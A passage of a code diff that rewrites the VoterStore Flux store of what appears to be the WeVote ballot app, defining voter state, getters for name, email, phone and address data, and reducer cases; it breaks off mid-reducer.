- secretCodeVerified,
- voterMustRequestNewCode,
- voterSecretCodeRequestsLocked,
- },
- };
-
- case 'appleSignInSave':
- if (action.res.success) {
- // eslint-disable-next-line camelcase
- const { first_name: firstName, middle_name: middleName, last_name: lastName, email, user_code: appleUserCode } = action.res;
- VoterActions.voterRetrieve();
- return {
- ...state,
- voter: {
- first_name: firstName,
- middle_name: middleName,
- last_name: lastName,
- email,
- appleUserCode,
- signed_in_with_apple: true,
- },
- };
- } else {
- console.log('Received a bad response from appleSignInSave API call');
- return state;
- }
-
- case 'deviceStoreFirebaseCloudMessagingToken':
- if (action.res.success) {
- // console.log('Received success from deviceStoreFirebaseCloudMessagingToken API call');
- return state;
- } else {
- console.log('Received a bad response from deviceStoreFirebaseCloudMessagingToken API call, object properties follow:');
- dumpObjProps('action.res', action.res);
- return state;
- }
-
-
- case 'error-voterRetrieve' || 'error-voterAddressRetrieve' || 'error-voterAddressSave':
- // console.log('VoterStore action', action);
- return state;
-
- default:
- return state;
- }
- }
-}
-
-export default new VoterStore(Dispatcher);
+import { ReduceStore } from 'flux/utils';
+import BallotActions from '../actions/BallotActions'; // eslint-disable-line import/no-cycle
+import FacebookActions from '../actions/FacebookActions'; // eslint-disable-line import/no-cycle
+import FriendActions from '../actions/FriendActions'; // eslint-disable-line import/no-cycle
+import OrganizationActions from '../actions/OrganizationActions';
+import VoterActions from '../actions/VoterActions'; // eslint-disable-line import/no-cycle
+import VoterGuideActions from '../actions/VoterGuideActions';
+import Dispatcher from '../common/dispatcher/Dispatcher';
+import AppObservableStore from '../common/stores/AppObservableStore'; // eslint-disable-line import/no-cycle
+import apiCalming from '../common/utils/apiCalming';
+import Cookies from '../common/utils/js-cookie/Cookies';
+import stringContains from '../common/utils/stringContains';
+import signInModalGlobalState from '../common/components/Widgets/signInModalGlobalState';
+import VoterConstants from '../constants/VoterConstants';
+import { dumpObjProps } from '../utils/appleSiliconUtils';
+
+class VoterStore extends ReduceStore {
+ getInitialState () {
+ return {
+ voter: {
+ interface_status_flags: 0,
+ state_code_from_ip_address: '',
+ },
+ address: {},
+ emailAddressStatus: {},
+ emailSignInStatus: {},
+ emailAddressList: [],
+ externalVoterId: '',
+ facebookSignInStatus: {},
+ facebookPhotoRetrieveLoopCount: 0,
+ latestGoogleCivicElectionId: 0,
+ secretCodeVerificationStatus: {
+ incorrectSecretCodeEntered: false,
+ numberOfTriesRemaining: 5,
+ secretCodeVerified: false,
+ voterMustRequestNewCode: false,
+ voterSecretCodeRequestsLocked: false,
+ },
+ smsPhoneNumberStatus: {
+ sms_verify_attempted: false,
+ sms_phone_number_already_owned_by_other_voter: false,
+ sms_phone_number_already_owned_by_this_voter: false,
+ sms_phone_number_created: false,
+ sms_phone_number: '',
+ sms_phone_number_found: false,
+ sms_phone_number_deleted: false,
+ make_primary_sms: false,
+ sign_in_code_sms_sent: false,
+ verification_sms_sent: false,
+ },
+ smsPhoneNumberList: [],
+ voterContactEmailGoogleCount: 0,
+ voterContactEmailList: [],
+ voterDeleted: false,
+ voterEmailQueuedToSave: '',
+ voterEmailQueuedToSaveSet: false,
+ voterFirstNameQueuedToSave: '',
+ voterFirstNameQueuedToSaveSet: false,
+ voterFirstRetrieveCompleted: false, // Has the first retrieve of the voter completed?
+ voterFound: false,
+ voterExternalIdHasBeenSavedOnce: {}, // Dict with externalVoterId and membershipOrganizationWeVoteId as keys, and true/false as value
+ voterLastNameQueuedToSave: '',
+ voterLastNameQueuedToSaveSet: false,
+ voterNotificationSettingsUpdateStatus: {
+ apiResponseReceived: false,
+ emailFound: false,
+ voterFound: false,
+ normalizedEmailAddress: '',
+ normalizedSmsPhoneNumber: '',
+ notificationSettingsFlags: false,
+ },
+ voterPhotoQueuedToSave: '',
+ voterPhotoQueuedToSaveSet: false,
+ voterPhotoTooBig: false,
+ hasReviewedApp: false,
+ };
+ }
+
+ electionId () {
+ return this.getState().latestGoogleCivicElectionId || 0;
+ }
+
+ resetState () {
+ return this.getInitialState();
+ }
+
+ getAddressObject () {
+ return this.getState().address || {};
+ }
+
+ getAnalyticsUserCohort () {
+ const { voter } = this.getState();
+ const visitedSiteWithPoliticianCookie = Cookies.get('politician_url_variable_used');
+ if (voter && voter.we_vote_id) {
+ if (voter.linked_politician_we_vote_id || visitedSiteWithPoliticianCookie) {
+ return 'politician';
+ } else if (this.getVoterIsWeVoteStaff()) {
+ return 'weVoteStaff';
+ }
+ }
+ const visitedSiteWithAdCookie = Cookies.get('ad_url_variable_used');
+ if (visitedSiteWithAdCookie) {
+ return 'googleAd';
+ }
+ return 'organic';
+ }
+
+ getAnalyticsUserDetails () {
+ return {
+ linkedPoliticianWeVoteId: this.getLinkedPoliticianWeVoteId(),
+ // signedInWithApple
+ signedInEmail: this.getVoterIsSignedInWithEmail(),
+ signedInPhone: this.getVoterIsSignedInWithPhone(),
+ stateCode: this.getVoterStateCode(),
+ userCohort: this.getAnalyticsUserCohort(),
+ userStatus: this.getVoterSignInStatus(),
+ voterWeVoteId: this.getVoterWeVoteId(),
+ };
+ }
+
+ getBallotLocationForVoter () {
+ // console.log('getBallotLocationForVoter this.getState().address:', this.getState().address);
+ if (this.getState().address) {
+ return {
+ text_for_map_search: this.getTextForMapSearch(),
+ ballot_returned_we_vote_id: this.getState().address.ballot_returned_we_vote_id,
+ polling_location_we_vote_id: '',
+ ballot_location_order: 0,
+ ballot_location_display_name: this.getState().address.ballot_location_display_name,
+ ballot_location_shortcut: '',
+ google_civic_election_id: this.getState().address.google_civic_election_id,
+ voter_entered_address: this.getState().address.voter_entered_address || false, // Did the voter save an address?
+ voter_specific_ballot_from_google_civic: this.getState().address.voter_specific_ballot_from_google_civic || false, // Did this ballot come back for this specific address?
+ };
+ }
+ return null;
+ }
+
+ getEmailAddressList () {
+ const { emailAddressList } = this.getState();
+ return emailAddressList;
+ }
+
+ getEmailAddressesVerifiedList () {
+ const { emailAddressList } = this.getState();
+ // console.log('getEmailAddressVerifiedList emailAddressList:', emailAddressList);
+ const emailList = [];
+ let oneEmail = {};
+ for (let i = 0; i < emailAddressList.length; ++i) {
+ oneEmail = emailAddressList[i];
+ if (oneEmail.normalized_email_address && oneEmail.email_ownership_is_verified === true) {
+ emailList.push(oneEmail.normalized_email_address);
+ }
+ }
+ return emailList;
+ }
+
+ getEmailAddressesVerifiedCount () {
+ const { emailAddressList } = this.getState();
+ let oneEmail = {};
+ let verifiedCount = 0;
+ for (let i = 0; i < emailAddressList.length; ++i) {
+ oneEmail = emailAddressList[i];
+ if (oneEmail.email_ownership_is_verified === true) {
+ verifiedCount += 1;
+ }
+ }
+ return verifiedCount;
+ }
+
+ getEmailAddressStatus () {
+ return this.getState().emailAddressStatus;
+ }
+
+ getEmailSignInStatus () {
+ return this.getState().emailSignInStatus;
+ }
+
+ getExternalVoterId () {
+ return this.getState().externalVoterId;
+ }
+
+ getFacebookPhoto () {
+ return this.getState().voter.facebook_profile_image_url_https || '';
+ }
+
+ getFacebookSignInStatus () {
+ return this.getState().facebookSignInStatus;
+ }
+
+ getFirstName () {
+ return this.getState().voter.first_name || '';
+ }
+
+ getFirstPlusLastName () {
+ const storedFirstName = this.getFirstName();
+ const storedLastName = this.getLastName();
+ let displayName = '';
+ if (storedFirstName && String(storedFirstName) !== '') {
+ displayName = storedFirstName;
+ if (storedLastName && String(storedLastName) !== '') {
+ displayName += ' ';
+ }
+ }
+ if (storedLastName && String(storedLastName) !== '') {
+ displayName += storedLastName;
+ }
+ return displayName;
+ }
+
+ getFullName () {
+ return this.getState().voter.full_name || '';
+ }
+
+ getLastName () {
+ return this.getState().voter.last_name || '';
+ }
+
+ getLinkedOrganizationWeVoteId () {
+ return this.getState().voter.linked_organization_we_vote_id || '';
+ }
+
+ getLinkedPoliticianWeVoteId () {
+ // To be created
+ return '';
+ }
+
+ getPasskeyVerified () {
+ return this.getState().voter.passkey_verified || false;
+ }
+
+ getPasskeyReceivedButNotAccepted () {
+ return this.getState().voter.passkey_received_but_not_accepted || false;
+ }
+
+ getPrimaryEmailAddressDict () {
+ const { emailAddressList } = this.getState();
+ let oneEmail = {};
+ let primaryEmailAddress = {};
+ for (let i = 0; i < emailAddressList.length; ++i) {
+ oneEmail = emailAddressList[i];
+ // console.log('getPrimaryEmailAddressDict, oneEmail:', oneEmail);
+ if (oneEmail.primary_email_address === true &&
+ oneEmail.email_permanent_bounce === false &&
+ oneEmail.email_ownership_is_verified === true) {
+ primaryEmailAddress = oneEmail;
+ }
+ }
+ // console.log('getPrimaryEmailAddressDict, primaryEmailAddress:', primaryEmailAddress);
+ return primaryEmailAddress;
+ }
+
+ getSecretCodeVerificationStatus () {
+ return this.getState().secretCodeVerificationStatus || {};
+ }
+
+ getSMSPhoneNumberStatus () {
+ return this.getState().smsPhoneNumberStatus;
+ }
+
+ getSMSPhoneNumberList () {
+ const { smsPhoneNumberList } = this.getState();
+ return smsPhoneNumberList;
+ }
+
+ getSMSPhoneNumbersVerifiedCount () {
+ const { smsPhoneNumberList } = this.getState();
+ let onePhoneNumber = {};
+ let verifiedCount = 0;
+ for (let i = 0; i < smsPhoneNumberList.length; ++i) {
+ onePhoneNumber = smsPhoneNumberList[i];
+ if (onePhoneNumber.sms_ownership_is_verified === true) {
+ verifiedCount += 1;
+ }
+ }
+ return verifiedCount;
+ }
+
+ // See also getVoterStateCode
+ getStateCode () {
+ // This defaults to state_code_from_ip_address but is overridden by the address the voter defaults to, or enters in text_for_map_search
+ if (this.getState().voter) {
+ return this.getState().voter.state_code || '';
+ } else {
+ return '';
+ }
+ }
+
+ // See also getVoterStateCode
+ getStateCodeFromIPAddress () {
+ if (this.getState().voter) {
+ return this.getState().voter.state_code_from_ip_address || '';
+ } else {
+ return '';
+ }
+ }
+
+ getTextForMapSearch () {
+ let textForMapSearch = this.getState().address.text_for_map_search;
+ if (textForMapSearch === undefined) {
+ // Attaching full address object to voterRetrieve, so we can phase this out
+ textForMapSearch = this.getState().voter.text_for_map_search;
+ if (textForMapSearch === undefined) return '';
+ }
+ if (Array.isArray(textForMapSearch)) return textForMapSearch[0] || '';
+ return textForMapSearch;
+ }
+
+ getTwitterHandle () {
+ return this.getState().voter.twitter_handle || '';
+ }
+
+ getTwitterSignInStatus () {
+ return this.getState().twitterSignInStatus || {};
+ }
+
+ getVoter () {
+ return this.getState().voter;
+ }
+
+ getVoterContactEmailGoogleCount () {
+ return this.getState().voterContactEmailGoogleCount || 0;
+ }
+
+ getVoterContactEmailList () {
+ return this.getState().voterContactEmailList || [];
+ }
+
+ getVoterContactEmailListCount () {
+ const voterContactEmailList = this.getState().voterContactEmailList || [];
+ return voterContactEmailList.length;
+ }
+
+ getVoterDeleted () {
+ return this.getState().voterDeleted || false;
+ }
+
+ getVoterEmail () {
+ return this.getState().voter.email || '';
+ }
+
+ getVoterEmailQueuedToSave () {
+ return this.getState().voterEmailQueuedToSave;
+ }
+
+ getVoterEmailQueuedToSaveSet () {
+ return this.getState().voterEmailQueuedToSaveSet;
+ }
+
+ getVoterFirstName () {
+ if (this.getState().voter) {
+ return this.getState().voter.first_name || '';
+ }
+ return '';
+ }
+
+ getVoterFirstNameQueuedToSave () {
+ return this.getState().voterFirstNameQueuedToSave;
+ }
+
+ getVoterFirstNameQueuedToSaveSet () {
+ return this.getState().voterFirstNameQueuedToSaveSet;
+ }
+
+ getVoterIsSignedIn () {
+ return this.getState().voter.is_signed_in || false;
+ }
+
+ getVoterIsSignedInWithEmail () {
+ return this.getState().voter.signed_in_with_email || false;
+ }
+
+ getVoterIsSignedInWithFacebook () {
+ return this.getState().voter.signed_in_facebook || false;
+ }
+
+ getVoterIsSignedInWithPhone () {
+ return this.getState().voter.signed_in_with_sms_phone_number || false;
+ }
+
+ getVoterIsSignedInWithTwitter () {
+ return this.getState().voter.signed_in_twitter || false;
+ }
+
+ getVoterIsWeVoteStaff () {
+ const { voter } = this.getState();
+ if (voter && voter.we_vote_id) {
+ if (voter.is_admin === true ||
+ voter.is_analytics_admin === true ||
+ voter.is_political_data_manager === true ||
+ voter.is_verified_volunteer === true) {
+ return true;
+ }
+ }
+ return false;
+ }
+
+ getVoterLastNameQueuedToSave () {
+ return this.getState().voterLastNameQueuedToSave;
+ }
+
+ getVoterLastNameQueuedToSaveSet () {
+ return this.getState().voterLastNameQueuedToSaveSet;
+ }
+
+ getVoterNotificationSettingsUpdateStatus () {
+ return this.getState().voterNotificationSettingsUpdateStatus || {};
+ }
+
+ getVoterPhotoQueuedToSave () {
+ return this.getState().voterPhotoQueuedToSave;
+ }
+
+ getVoterPhotoQueuedToSaveSet () {
+ return this.getState().voterPhotoQueuedToSaveSet;
+ }
+
+ getVoterPhotoTooBig () {
+ return this.getState().voterPhotoTooBig || false;
+ }
+
+ // Could be either Facebook photo or Twitter photo
+ getVoterPhotoUrlLarge () {
+ return this.getState().voter.voter_photo_url_large || '';
+ }
+
+ // Could be either Facebook photo or Twitter photo
+ getVoterPhotoUrlMedium () {
+ return this.getState().voter.voter_photo_url_medium || '';
+ }
+
+ // Could be either Facebook photo or Twitter photo
+ getVoterPhotoUrlTiny () {
+ return this.getState().voter.voter_photo_url_tiny || '';
+ }
+
+ getVoterProfileUploadedImageUrlLarge () {
+ return this.getState().voter.we_vote_hosted_profile_uploaded_image_url_large || '';
+ }
+
+ getVoterSavedAddress () {
+ // console.log('VoterStore, getVoterSavedAddress: ', this.getState().address.voter_entered_address);
+ return this.getState().address.voter_entered_address || false;
+ }
+
+ // See also getStateCode & getStateCodeFromIPAddress
+ getVoterStateCode () {
+ // TODO in getVoterStateCode we check for normalized_state in the address object. We should be
+ // capturing the state when we call Google address Auto Complete (search for _placeChanged)
+ // and we should also figure out the state_code when we call API server voterAddressSave and put it in the "address"
+ // return data.
+ // console.log('this.getState().address:', this.getState().address);
+ // console.log('this.getState().voter:', this.getState().voter);
+ if (this.getState().address && this.getState().address.normalized_state) {
+ // console.log('normalized_state:', this.getState().address.normalized_state);
+ return this.getState().address.normalized_state;
+ }
+ return this.getStateCode() || this.getStateCodeFromIPAddress() || '';
+ }
+
+ getVoterSignInStatus () {
+ return this.getVoterIsSignedIn() ? 'signedIn' : 'notSignedIn';
+ }
+
+ getVoterWeVoteId () {
+ return this.getState().voter.we_vote_id || '';
+ }
+
+ voterDeviceId () {
+ return this.getState().voter.voter_device_id || Cookies.get('voter_device_id');
+ }
+
+ setVoterDeviceIdCookie (id) { // eslint-disable-line
+ Cookies.remove('voter_device_id');
+ Cookies.remove('voter_device_id', { path: '/' });
+ Cookies.remove('voter_device_id', { path: '/', domain: 'wevote.us' });
+ let { hostname } = window.location;
+ hostname = hostname || '';
+ // console.log('setVoterDeviceIdCookie hostname:', hostname, 'cookie id:', id);
+ if (hostname && stringContains('wevote.us', hostname)) {
+ Cookies.set('voter_device_id', id, { expires: 10000, path: '/', domain: 'wevote.us' });
+ } else {
+ Cookies.set('voter_device_id', id, { expires: 10000, path: '/' });
+ }
+ }
+
+ // Airbnb doesnt like bitwise operators in JavaScript
+ getInterfaceFlagState (flag) {
+ // Look in js/Constants/VoterConstants.js for list of flag constant definitions
+ // console.log('VoterStore getInterfaceFlagState flag: ', flag);
+ if (!this.getState().voter) {
+ return false;
+ }
+
+ const interfaceStatusFlags = this.getState().voter.interface_status_flags || 0;
+ // console.log('VoterStore getInterfaceFlagState interfaceStatusFlags: ', interfaceStatusFlags);
+ // return True if bit specified by the flag is also set in interfaceStatusFlags (voter.interface_status_flags)
+ // Eg: if interfaceStatusFlags = 5, then we can confirm that bits representing 1 and 4 are set (i.e., 0101)
+ // so for value of flag = 1 and 4, we return a positive integer,
+ // but, the bit representing 2 and 8 are not set, so for flag = 2 and 8, we return zero
+ // const flagIsSet = interfaceStatusFlags & flag; // eslint-disable-line no-bitwise
+ // console.log('VoterStore getInterfaceFlagState flagIsSet: ', flagIsSet);
+ return interfaceStatusFlags & flag; // eslint-disable-line no-bitwise
+ }
+
+ getNotificationSettingConstantFromUnsubscribeModifier (unsubscribeModifier) {
+ // New unsubscribe modifiers also need to be added in WeVoteServer
+ let notificationSettingConstant = 0;
+ // dailyfriendactivity, friendaccept, friendinvite, friendopinions, friendopinionsall, friendmessage, login, newsletter, politiciancampaign
+ // NOT IMPLEMENTED YET: suggestedfriend == NOTIFICATION_SUGGESTED_FRIENDS_EMAIL
+ if (unsubscribeModifier === 'dailyfriendactivity') {
+ notificationSettingConstant = VoterConstants.NOTIFICATION_VOTER_DAILY_SUMMARY_EMAIL;
+ } else if (unsubscribeModifier === 'friendaccept' || unsubscribeModifier === 'friendinvite') {
+ notificationSettingConstant = VoterConstants.NOTIFICATION_FRIEND_REQUESTS_EMAIL; // friendaccept: NOTIFICATION_FRIEND_REQUEST_RESPONSES_EMAIL
+ } else if (unsubscribeModifier === 'friendopinions' || unsubscribeModifier === 'friendopinionsall') {
+ notificationSettingConstant = VoterConstants.NOTIFICATION_FRIEND_OPINIONS_YOUR_BALLOT_EMAIL; // friendopinionsall: NOTIFICATION_FRIEND_OPINIONS_OTHER_REGIONS_EMAIL
+ } else if (unsubscribeModifier === 'friendmessage') {
+ notificationSettingConstant = VoterConstants.NOTIFICATION_FRIEND_MESSAGES_EMAIL;
+ } else if (unsubscribeModifier === 'login') {
+ notificationSettingConstant = VoterConstants.NOTIFICATION_LOGIN_EMAIL;
+ } else if (unsubscribeModifier === 'newsletter') {
+ notificationSettingConstant = VoterConstants.NOTIFICATION_NEWSLETTER_OPT_IN;
+ } else if (unsubscribeModifier === 'politiciancampaign') {
+ notificationSettingConstant = VoterConstants.NOTIFICATION_WEVOTE_POLITICIAN_CAMPAIGN_EMAIL;
+ }
+ return notificationSettingConstant;
+ }
+
+ getNotificationSettingsFlagState (flag) {
+ // Look in js/Constants/VoterConstants.js for list of flag constant definitions
+ if (!this.getState().voter) {
+ return false;
+ }
+ // Notification settings we haven't implemented yet which we show as still turned on
+ if ((flag === VoterConstants.NOTIFICATION_FRIEND_MESSAGES_EMAIL) ||
+ (flag === VoterConstants.NOTIFICATION_FRIEND_OPINIONS_OTHER_REGIONS_EMAIL) ||
+ (flag === VoterConstants.NOTIFICATION_LOGIN_EMAIL)) {
+ return true;
+ }
+ const notificationSettingsFlags = this.getState().voter.notification_settings_flags || 0;
+ // return True if bit specified by the flag is also set
+ // in notificationSettingsFlags (voter.notification_settings_flags)
+ // Eg: if interfaceStatusFlags = 5, then we can confirm that bits representing 1 and 4 are set (i.e., 0101)
+ // so for value of flag = 1 and 4, we return a positive integer,
+ // but, the bit representing 2 and 8 are not set, so for flag = 2 and 8, we return zero
+ return notificationSettingsFlags & flag; // eslint-disable-line no-bitwise
+ }
+
+ getNotificationSettingsFlagStateFromSecretKey (flag) {
+ // Look in js/Constants/VoterConstants.js for list of flag constant definitions
+ if (!this.getState().voterNotificationSettingsUpdateStatus) {
+ return false;
+ }
+ // Notification settings we haven't implemented yet which we show as still turned on
+ if ((flag === VoterConstants.NOTIFICATION_FRIEND_MESSAGES_EMAIL) ||
+ (flag === VoterConstants.NOTIFICATION_FRIEND_OPINIONS_OTHER_REGIONS_EMAIL) ||
+ (flag === VoterConstants.NOTIFICATION_LOGIN_EMAIL)) {
+ return true;
+ }
+ const { notificationSettingsFlags } = this.getState().voterNotificationSettingsUpdateStatus;
+ // return True if bit specified by the flag is also set
+ // in notificationSettingsFlags (voter.notification_settings_flags)
+ // Eg: if interfaceStatusFlags = 5, then we can confirm that bits representing 1 and 4 are set (i.e., 0101)
+ // so for value of flag = 1 and 4, we return a positive integer,
+ // but, the bit representing 2 and 8 are not set, so for flag = 2 and 8, we return zero
+ return notificationSettingsFlags & flag; // eslint-disable-line no-bitwise
+ }
+
+ getVoterContactEmailAugmentSequenceComplete () {
+ return this.getState().voterContactEmailAugmentSequenceComplete || false;
+ }
+
+ getVoterContactEmailAugmentSequenceHasNextStep () {
+ return this.getState().voterContactEmailAugmentSequenceHasNextStep || false;
+ } // voterContactEmailAugmentWithWeVoteDataComplete
+
+ getVoterContactEmailAugmentWithWeVoteDataComplete () {
+ return this.getState().voterContactEmailAugmentWithWeVoteDataComplete || false;
+ }
+
+ isVoterFound () {
+ return this.getState().voterFound;
+ }
+
+ voterFirstRetrieveCompleted () {
+ return this.getState().voterFirstRetrieveCompleted;
+ }
+
+ voterExternalIdHasBeenSavedOnce (externalVoterId, membershipOrganizationWeVoteId) {
+ if (!externalVoterId || !membershipOrganizationWeVoteId) {
+ return false;
+ }
+ if (this.getState().voterExternalIdHasBeenSavedOnce[externalVoterId]) {
+ return this.getState().voterExternalIdHasBeenSavedOnce[externalVoterId][membershipOrganizationWeVoteId] || false;
+ } else {
+ return false;
+ }
+ }
+
+ voterPhotoAndNameExist () {
+ const firstNameExists = !!(this.getState().voter.first_name && this.getState().voter.first_name !== '');
+ const lastNameExists = !!(this.getState().voter.last_name && this.getState().voter.last_name !== '');
+ const nameExists = firstNameExists || lastNameExists;
+ const photoExists = !!(this.getState().voter.voter_photo_url_large && this.getState().voter.voter_photo_url_large !== '');
+ return !!(nameExists && photoExists);
+ }
+
+ reduce (state, action) {
+ let facebookPhotoRetrieveLoopCount;
+ let address;
+ let currentVoterDeviceId;
+ // const delayBeforeApiCall = 3000;
+ let externalVoterId;
+ let googleCivicElectionId;
+ let incomingVoter;
+ let incorrectSecretCodeEntered;
+ let membershipOrganizationWeVoteId;
+ let mergeFromVoterWeVoteId;
+ let mergeToVoterWeVoteId;
+ let numberOfTriesRemaining;
+ let revisedState;
+ let secretCodeVerified;
+ let voterDeviceId;
+ let voterContactEmailAugmentWithWeVoteDataComplete;
+ let voterExternalIdHasBeenSavedOnce;
+ let voterFirstRetrieveCompleted;
+ let voterMustRequestNewCode;
+ let voterSecretCodeRequestsLocked;
+
+ switch (action.type) {
+ case 'clearEmailAddressStatus':
+ // console.log('VoterStore clearEmailAddressStatus');
+ return { ...state, emailAddressStatus: {} };
+ case 'clearSecretCodeVerificationStatus':
+ // console.log('VoterStore clearSecretCodeVerificationStatus');
+ return {
+ ...state,
+ secretCodeVerificationStatus: {
+ incorrectSecretCodeEntered: false,
+ numberOfTriesRemaining: 5,
+ secretCodeVerified: false,
+ voterMustRequestNewCode: false,
+ voterSecretCodeRequestsLocked: false,
+ },
+ };
+ case 'clearSecretCodeVerificationStatusAndEmail':
+ // Does both of the above steps in one call
+ // console.log('VoterStore clearSecretCodeVerificationStatusAndEmail');
+ return {
+ ...state,
+ emailAddressStatus: {},
+ secretCodeVerificationStatus: {
+ incorrectSecretCodeEntered: false,
+ numberOfTriesRemaining: 5,
+ secretCodeVerified: false,
+ voterMustRequestNewCode: false,
+ voterSecretCodeRequestsLocked: false,
+ },
+ };
+ case 'clearSMSPhoneNumberStatus':
+ // console.log('VoterStore clearSMSPhoneNumberStatus');
+ return {
+ ...state,
+ smsPhoneNumberStatus: {
+ sms_verify_attempted: false,
+ sms_phone_number_already_owned_by_other_voter: false,
+ sms_phone_number_already_owned_by_this_voter: false,
+ sms_phone_number_created: false,
+ sms_phone_number: '',
+ sms_phone_number_found: false,
+ sms_phone_number_deleted: false,
+ make_primary_sms: false,
+ sign_in_code_sms_sent: false,
+ verification_sms_sent: false,
+ },
+ };
+ case 'clearSecretCodeVerificationStatusAndPhone':
+ // console.log('VoterStore clearSecretCodeVerificationStatusAndPhone');
+ return {
+ ...state,
+ secretCodeVerificationStatus: {
+ incorrectSecretCodeEntered: false,
+ numberOfTriesRemaining: 5,
+ secretCodeVerified: false,
+ voterMustRequestNewCode: false,
+ voterSecretCodeRequestsLocked: false,
+ },
+ smsPhoneNumberStatus: {
+ sms_verify_attempted: false,
+ sms_phone_number_already_owned_by_other_voter: false,
+ sms_phone_number_already_owned_by_this_voter: false,
+ sms_phone_number_created: false,
+ sms_phone_number: '',
+ sms_phone_number_found: false,
+ sms_phone_number_deleted: false,
+ make_primary_sms: false,
+ sign_in_code_sms_sent: false,
+ verification_sms_sent: false,
+ },
+ };
+ case 'clearVoterElectionId':
+ // console.log('VoterStore clearVoterElectionId');
+ return { ...state, latestGoogleCivicElectionId: 0 };
+ case 'clearVoterContactEmailImportVariables':
+ return {
+ ...state,
+ voterContactEmailAugmentWithWeVoteDataComplete: false,
+ voterContactEmailAugmentSequenceComplete: false,
+ voterContactEmailAugmentSequenceHasNextStep: false,
+ };
+ case 'organizationSave':
+ // console.log('VoterStore organizationSave');
+ // If an organization saves, we want to check to see if it is tied to this voter. If so,
+ // refresh the voter data so we have the value linked_organization_we_vote_id in the voter object.
+ if (action.res.success) {
+ if (action.res.facebook_id === state.voter.facebook_id) {
+ VoterActions.voterRetrieve();
+ } else {
+ const organizationTwitterHandle = action.res.organization_twitter_handle || '';
+ const twitterScreenName = state.voter.twitter_screen_name !== undefined ? state.voter.twitter_screen_name : '';
+ if (organizationTwitterHandle && organizationTwitterHandle.toLowerCase() === twitterScreenName.toLowerCase()) {
+ VoterActions.voterRetrieve();
+ }
+ }
+ }
+ return state;
+
+ case 'organizationSuggestionTasks':
+ // console.log('VoterStore organizationSuggestionTasks');
+ if (action.res.success) {
+ if (action.res.kind_of_follow_task === 'FOLLOW_SUGGESTIONS_FROM_TWITTER_IDS_I_FOLLOW') {
+ // console.log('organizationSuggestionTasks FOLLOW_SUGGESTIONS_FROM_TWITTER_IDS_I_FOLLOW');
+ // VoterGuideActions.voterGuidesToFollowRetrieve(this.electionId());
+ VoterGuideActions.voterGuidesFollowedRetrieve(this.electionId());
+ } else if (action.res.kind_of_suggestion_task === 'UPDATE_SUGGESTIONS_FROM_TWITTER_IDS_I_FOLLOW') {
+ // console.log('organizationSuggestionTasks UPDATE_SUGGESTIONS_FROM_TWITTER_IDS_I_FOLLOW');
+ // VoterGuideActions.voterGuidesToFollowRetrieve(this.electionId());
+ VoterGuideActions.voterGuidesFollowedRetrieve(this.electionId());
+ }
+ }
+ return state;
+
+ case 'positionListForVoter':
+ // console.log('VoterStore positionListForVoter');
+ if (action.res.show_only_this_election) {
+ const positionListForOneElection = action.res.position_list;
+ return {
+ ...state,
+ voter: {
+ ...state.voter,
+ positionListForOneElection,
+ },
+ };
+ } else if (action.res.show_all_other_elections) {
+ const positionListForAllExceptOneElection = action.res.position_list;
+ return {
+ ...state,
+ voter: {
+ ...state.voter,
+ positionListForAllExceptOneElection,
+ },
+ };
+ } else {
+ const positionList = action.res.position_list;
+ return {
+ ...state,
+ voter: {
+ ...state.voter,
+ positionList,
+ },
+ };
+ }
+
+ case 'setExternalVoterId':
+ externalVoterId = action.payload;
+ membershipOrganizationWeVoteId = AppObservableStore.getSiteOwnerOrganizationWeVoteId();
+ ({ voterExternalIdHasBeenSavedOnce } = state);
+ // console.log('VoterStore externalVoterId:', externalVoterId, ', membershipOrganizationWeVoteId:', membershipOrganizationWeVoteId);
+ if (externalVoterId && membershipOrganizationWeVoteId) {
+ if (!this.voterExternalIdHasBeenSavedOnce(externalVoterId, membershipOrganizationWeVoteId)) {
+ // console.log('voterExternalIdHasBeenSavedOnce has NOT been saved before.');
+ VoterActions.voterExternalIdSave(externalVoterId, membershipOrganizationWeVoteId);
+ if (!voterExternalIdHasBeenSavedOnce[externalVoterId]) {
+ voterExternalIdHasBeenSavedOnce[externalVoterId] = {};
+ }
+ voterExternalIdHasBeenSavedOnce[externalVoterId][membershipOrganizationWeVoteId] = true;
+ // AnalyticsActions.saveActionBallotVisit(VoterStore.electionId());
+ } else {
+ // console.log('voterExternalIdHasBeenSavedOnce has been saved before.');
+ }
+ }
+ return {
+ ...state,
+ externalVoterId,
+ voterExternalIdHasBeenSavedOnce,
+ };
+
+ case 'twitterRetrieveIdsIFollow':
+ // console.log('VoterStore twitterRetrieveIdsIFollow');
+ if (action.res.success) {
+ VoterActions.organizationSuggestionTasks(
+ 'UPDATE_SUGGESTIONS_FROM_TWITTER_IDS_I_FOLLOW',
+ 'FOLLOW_SUGGESTIONS_FROM_TWITTER_IDS_I_FOLLOW',
+ );
+ }
+
+ return state;
+
+ case 'voterAnalysisForJumpProcess':
+ // console.log('VoterStore, voterAnalysisForJumpProcess');
+ VoterActions.voterRetrieve();
+ return {
+ ...state,
+ emailAddressStatus: {
+ email_ownership_is_verified: action.res.email_ownership_is_verified,
+ email_secret_key_belongs_to_this_voter: action.res.email_secret_key_belongs_to_this_voter,
+ email_verify_attempted: action.res.email_verify_attempted,
+ email_address_found: action.res.email_address_found,
+ },
+ emailSignInStatus: {
+ email_ownership_is_verified: action.res.email_ownership_is_verified,
+ email_secret_key_belongs_to_this_voter: action.res.email_secret_key_belongs_to_this_voter,
+ email_sign_in_attempted: action.res.email_verify_attempted,
+ email_address_found: action.res.email_address_found,
+ },
+ };
+
+ case 'voterAddressRetrieve':
+ case 'voterAddressOnlyRetrieve':
+ // console.log('VoterStore, voterAddressRetrieve, address:', action.res);
+ address = action.res || {};
+ return {
+ ...state,
+ address,
+ };
+
+ case 'voterAddressSave':
+ // console.log('VoterStore, voterAddressSave, action.res:', action.res);
+ revisedState = state;
+ if (action.res.status === 'SIMPLE_ADDRESS_SAVE') {
+ // Don't do any other refreshing
+ } else {
+ // BallotActions.voterBallotItemsRetrieve();
+ googleCivicElectionId = action.res.google_civic_election_id || 0;
+ if (googleCivicElectionId !== 0) {
+ revisedState = { ...revisedState,
+ latestGoogleCivicElectionId: googleCivicElectionId,
+ };
+ }
+ }
+ ({ address } = action.res);
+ if (!address) {
+ address = {
+ text_for_map_search: '',
+ google_civic_election_id: 0,
+ ballot_returned_we_vote_id: '',
+ ballot_location_display_name: '',
+ voter_entered_address: '',
+ voter_specific_ballot_from_google_civic: null,
+ };
+ }
+
+ return {
+ ...revisedState,
+ address: {
+ text_for_map_search: address.text_for_map_search,
+ google_civic_election_id: address.google_civic_election_id,
+ ballot_returned_we_vote_id: address.ballot_returned_we_vote_id,
